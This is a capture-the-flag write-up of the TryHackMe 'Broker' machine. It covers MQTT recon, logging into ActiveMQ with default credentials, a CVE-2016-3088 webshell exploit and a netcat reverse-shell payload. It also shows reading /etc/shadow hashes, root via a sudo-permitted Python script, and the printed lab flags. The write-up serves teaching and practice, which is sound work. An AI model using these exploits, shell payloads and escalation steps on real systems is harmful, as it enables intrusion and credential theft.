Broker Writeup
Written on August 31st , 2022 by MouseThis machine is about the MQTT protocol. MQTT is a widely used messaging protocol used in IoT devices, used to send any type of data or messages between devices. In the future, I will write a post on MQTT. This guide by HiveMQ provides a detailed overview of what MQTT is, how MQTT works, and some cool built in features.
MQTT Overview
Briefly, MQTT uses a publish-subscribe pattern. There are two types of components in an MQTT system:
- Clients - able to send and receive data.
- Broker - typically one in a network, able to distribute out messages to the appropriate clients
The publish/subscribe (or just pub/sub) pattern is the method by which messages are distributed to the correct clients. Any client can subscribe to any avaliable topic by sending a message to the broker. Any client can publish a message, and must include a topic. This message is sent to the broker, and the broker distributes this message out to every client subscribed to the message’s topic.
Now onto the machine.
Recon
TryHackMe provides some context for this machine:
Paul and Max found a way to chat at work by using a certain kind of software. They think they outsmarted their boss, but do not seem to know that eavesdropping is quite possible…They better be careful…
We start with a basic nmap scan on the target to see which ports are open, and get a feel for this machine. We scan the top 10,000 ports.
Command:
nmap –top-ports 10000 [target]
└─$ nmap --top-ports 10000 [target]
Nmap scan report for [target]
Host is up (0.060s latency).
Not shown: 8337 closed ports
PORT STATE SERVICE
22/tcp open ssh
1883/tcp open mqtt
8161/tcp open patrol-snmp
Nmap done: 1 IP address (1 host up) scanned in 5.51 seconds
SSH is open on port 22, but more interestingly, ports 1883 and 8161 are open - 1883 is the default port for insecure MQTT. We now run a more aggressive scan on ports 22, 1883 and 8161.
Command:
nmap -p [open ports] -A -sC -sV -O [target]
The most interesting parts of the output are shown below.
└─$ sudo nmap [target] -p 22,1883,8161 -A -sC -O -sV
Nmap scan report for [target]
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4c:75:a0:7b:43:87:70:4f:70:16:d2:3c:c4:c5:a4:e9 (RSA)
| 256 f4:62:b2:ad:f8:62:a0:91:2f:0a:0e:29:1a:db:70:e4 (ECDSA)
|_ 256 92:d2:87:7b:98:12:45:93:52:03:5e:9e:c7:18:71:d5 (ED25519)
1883/tcp open mqtt?
8161/tcp open http Jetty 7.6.9.v20130131
|_http-server-header: Jetty(7.6.9.v20130131)
|_http-title: Apache ActiveMQ
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 78.41 seconds
We see that Apache ActiveMQ is running. This is a broker written in Java, by Apache.
Exploring MQTT
Upon visiting the host with a web browser on power 8161, we find an admin login panel. The advanced hacking tool of Google tells us that the default credentials are admin
:admin
for ActiveMQ.
And now we are logged in!
We are now inside the admin portal of ActiveMQ. We see that the server is running ActiveMQ version 5.9.0.
We can also see the list of topics. secret_chat
looks interesting…
Subscribing to Topics
We now need a MQTT client to subscribe to this topic and receive updates. We use the Python Paho MQTT client, and create a script called mqtt_client_thm.py
to subscribe to the secret_chat
topic. The Python Paho Github repo gives a good starting guide to using Paho client.
Shown below is the output to this script.
Command:
python3 mqtt_client_thm.py
└─$ python3 mqtt_client_thm.py
Connected with result code 0
message received: Paul: Hey, have you played the videogame 'Hacknet' yet?
message topic: secret_chat
message qos: 0
message retain flag: 0
message received: Max: Yeah, honestly that's the one game that got me into hacking, since I wanted to know how hacking is 'for real', you know? ;)
message topic: secret_chat
message qos: 0
message retain flag: 0
message received: Paul: Sounds awesome, I will totally try it out then ^^
message topic: secret_chat
message qos: 0
message retain flag: 0
message received: Max: Nice! Gotta go now, the boss will kill us if he sees us chatting here at work. This broker is not meant to be used like that lol. See ya!
message topic: secret_chat
message qos: 0
message retain flag: 0
Once subscribed, we see the above messages come through. It appears that these messages loop indefinitely. There is not much interesting information here, but we see that the answer to the TryHackMe question is Hacknet
. Since this MQTT service is not secured, anyone can connect to it. We have shown how easy it is to subscribe to messages.
Initial Access to Server
Let’s try gain access to the server itself.
As seen in the webpage, this MQTT system is using ActiveMQ v5.9.0. Luckily for us, this version of ActiveMQ is vulnerable to CVE 2015-1830 - a directory traversal vulnerability which we will use to gain a shell.
We can now load up Metasploit to exploit this.
Command:
msfconsole
search activeMQ
use multi/http/apache_activemq_upload_jsp
msf6 exploit(multi/http/apache_activemq_upload_jsp) > options
Module options (exploit/multi/http/apache_activemq_upload_jsp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCleanup true no Remove web shells after callback is received
BasicAuthPass admin yes The password for the specified username
BasicAuthUser admin yes The username to authenticate as
JSP no JSP name to use, excluding the .jsp extension (default:
random)
Proxies no A proxy chain of format type:host:port[,type:host:port]
[...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts fil
e with syntax 'file:<path>'
RPORT 8161 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST [My IP] yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java Universal
msf6 exploit(multi/http/apache_activemq_upload_jsp) >
Metasploit is fired up, we enter the target IP address and we enter the local port to bind to, 54321. We hope to get a meterpreter shell.
msf6 exploit(multi/http/apache_activemq_upload_jsp) > exploit
[*] Started reverse TCP handler on [target]:54321
[*] Uploading http://[target]:8161/opt/apache-activemq-5.9.0/webapps/api/jzmFvWBFBvz.jar
[*] Uploading http://[target]:8161/opt/apache-activemq-5.9.0/webapps/api/jzmFvWBFBvz.jsp
[!] This exploit may require manual cleanup of '/opt/apache-activemq-5.9.0/webapps/api/jzmFvWBFBvz.jar' on the target
[!] This exploit may require manual cleanup of '/opt/apache-activemq-5.9.0/webapps/api/jzmFvWBFBvz.jsp' on the target
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/apache_activemq_upload_jsp) >
Unfortunately this did not seem to work. After hunting around online a bit, I found this repo which exploits a similar vulnerability.
This exploit uploads a webshell to /admin/guo.jsp
on the broker’s web interface.
└─$ cat README.md
# ActiveMQ_putshell-CVE-2016-3088-
ActiveMQ_putshell直接获取webshell
#Usage:
python3 ActiveMQ_putshell.py -u url
![image](https://github.com/gsheller/ActiveMQ_putshell-CVE-2016-3088/blob/master/CVE-2016-3088.jpg?raw=true)
We will now use this exploit.
Command:
python3 ActiveMQ_putshell.py -u http://[target]
└─$ python3 ActiveMQ_putshell.py -u http://[target]
ActiveMQ_put_path:/opt/apache-activemq-5.9.0/webapps/
ActiveMQ_put__txt:http://[target]:8161/fileserver/guo.txt
ActiveMQ_putshell:http://[target]:8161/admin/guo.jsp
Now the webshell is there, we can use it with the url http://[target]:8161/admin/guo.jsp?pwd=gshell&shell=uname -a
, as shown below.
Now we want a full reverse shell. We start a listener using rlwrap and netcat (rlwrap keeps the shell nice), on port 54321. We use the payload shell=nc -e /bin/sh <my IP> 54321
. This works! We now have a shell, as shown below.
Command:
rlwrap nc -lnvp [local port]
└─$ rlwrap nc -lnvp 54321
listening on [any] 54321 ...
connect to [my IP] from (UNKNOWN) [target] 47850
After gaining access, we snoop around a little. We even have read permissions on the /etc/passwd and /etc/shadow files!
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
(...)
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
activemq:x:1000:1000::/opt/apache-activemq-5.9.0/:/bin/bash
cat /etc/shadow
root:$6$p4QqejfFHI9$O6oFafk.Q.qo52ZrR2XIV/7CXp8X33YUJwHw5bAjcL5yZEaYhXaevThE3p/UfqPOvYphQUzP9ksyqc4iPaIcf.:18621:0:99999:7:::
daemon:*:18605:0:99999:7:::
(...)
messagebus:*:18621:0:99999:7:::
activemq:$6$Ra/XClrOq2ltc.E.$Gh1ytjYL14ZpMXCUQWKSCeJ60eLabxa5QklypSgu3UhQ.p8tLJOK/TeVzhakIvyBQ386J2XwXUHtDhQRg1NoN/:18621:0:99999:7:::
Time to upgrade our shell. This is achieved using script.
script -qc /bin/bash /dev/null
export TERM=xterm
export TERM=xterm
It appears that every command is echoed back to the terminal, but this is no problem.
Snooping inside the directory we landed in, we find the first flag.
uname -a
uname -a
Linux activemq 4.15.0-128-generic #131-Ubuntu SMP Wed Dec 9 06:57:35 UTC 2020 x86_64 GNU/Linux
ls
ls
LICENSE README.txt bin conf flag.txt start.sh tmp NOTICE activemq-all-5.9.0.jar chat.py data lib subscribe.py webapps
cat flag.txt
cat flag.txt
THM{you_got_a_m3ss4ge}
Gaining Root
It is now time for privilege escalation. A good step in privilege escalation is to check what current sudo permissions you have, and check GTFObins for anything useful. In our case, we can run Python as Sudo - easy privilege escalation vector!
Command:
sudo -l
sudo -l
sudo -l
Matching Defaults entries for activemq on activemq:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User activemq may run the following commands on activemq:
(root) NOPASSWD: /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
We attempt to use python to spawn a root shell.
Python Command:
os.system(‘/bin/sh’)
sudo python -c 'import os; os.system('/bin/sh')'
sudo python -c 'import os; os.system('/bin/sh')'
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for activemq:
Sadly, this did not work, as we still need activemq’s password. I tried cracking the hash from /etc/shadow
, but I didn’t find anything. However, hope is not lost. sudo -l
told us that we can also run the subscribe.py
file with sudo, so we can edit this to read the root flag for us (presumably located in /root/root.txt
).
We edit subscribe.py
with an echo
command.
The following python code is injected:
Import os
os.system(/bin/bash)
Command:
echo ‘import os; os.system(““/bin/bash”)’ > subscribe.py
This code works, and we get a root shell, and the root flag!
echo "import os; os.system('/bin/bash')" > subscribe.py
echo "import os; os.system('/bin/bash')" > subscribe.py
sudo /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
sudo /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
whoami
whoami
root
cat /root/root.txt
cat /root/root.txt
THM{br34k_br0k3_br0k3r}
Tools Used
- Nmap
- Custom Python script
- Metasploit
- Custom exploit script
- Netcat
Conclusion
In this room, we learnt about MQTT, and its weaknesses. MQTT has built-in features for security, including options to encrypt all communications. In the above example, and unfortunately across many IoT devices, manufactor do not enable any security features. Many IoT devices are small and have limited resources, so security is compromised on.
If an MQTT system is not secured, it would have been just as easy to write a script to publish our own messages to MQTT clients as it was to subscribe to topics. Malicious actors could exploit this to control someone else’s IoT devices, or in our case, exploit MQTT itself and eventually gain root access.